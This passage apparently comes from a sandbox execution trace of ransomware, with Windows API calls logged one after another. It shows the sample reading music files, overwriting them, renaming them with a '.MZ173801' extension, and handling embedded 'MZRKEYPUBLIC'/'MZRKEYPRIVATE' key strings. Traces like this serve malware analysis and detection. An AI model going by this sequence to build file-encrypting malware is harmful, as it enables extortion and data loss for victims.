w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.520] GetCurrentThreadId () returned 0xab4 [0158.520] GetCurrentThreadId () returned 0xab4 [0158.520] GetCurrentThreadId () returned 0xab4 [0158.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.521] GetCurrentThreadId () returned 0xab4 [0158.521] GetCurrentThreadId () returned 0xab4 [0158.521] GetCurrentThreadId () returned 0xab4 [0158.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0158.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x84bd [0158.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.522] ReadFile (in: hFile=0x288, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x84bd, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x84bd, lpOverlapped=0x0) returned 1 [0158.523] CloseHandle (hObject=0x288) returned 1 [0158.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.530] WriteFile (in: hFile=0x288, lpBuffer=0x24edd50*, nNumberOfBytesToWrite=0x84bd, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24edd50*, lpNumberOfBytesWritten=0x19fa24*=0x84bd, lpOverlapped=0x0) returned 1 [0158.557] CloseHandle (hObject=0x288) returned 1 [0158.558] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\o-Fi.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\o-fi.mp3.mz173801")) returned 1 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] GetCurrentThreadId () returned 0xab4 [0158.559] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe11600, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x485a1470, ftLastAccessTime.dwHighDateTime=0x1d5f084, ftLastWriteTime.dwLowDateTime=0x485a1470, ftLastWriteTime.dwHighDateTime=0x1d5f084, nFileSizeHigh=0x0, nFileSizeLow=0x166c0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="SiBTVIHwNwSnLAsEiaZs.m4a", cAlternateFileName="SIBTVI~1.M4A")) returned 1 [0158.559] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.559] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.559] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe11600, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x485a1470, ftLastAccessTime.dwHighDateTime=0x1d5f084, ftLastWriteTime.dwLowDateTime=0x485a1470, ftLastWriteTime.dwHighDateTime=0x1d5f084, nFileSizeHigh=0x0, nFileSizeLow=0x166c0)) returned 1 [0158.559] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a")) returned 0x20 [0158.559] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a", dwFileAttributes=0x80) returned 1 [0158.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.562] GetCurrentThreadId () returned 0xab4 [0158.562] GetCurrentThreadId () returned 0xab4 [0158.562] GetCurrentThreadId () returned 0xab4 [0158.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 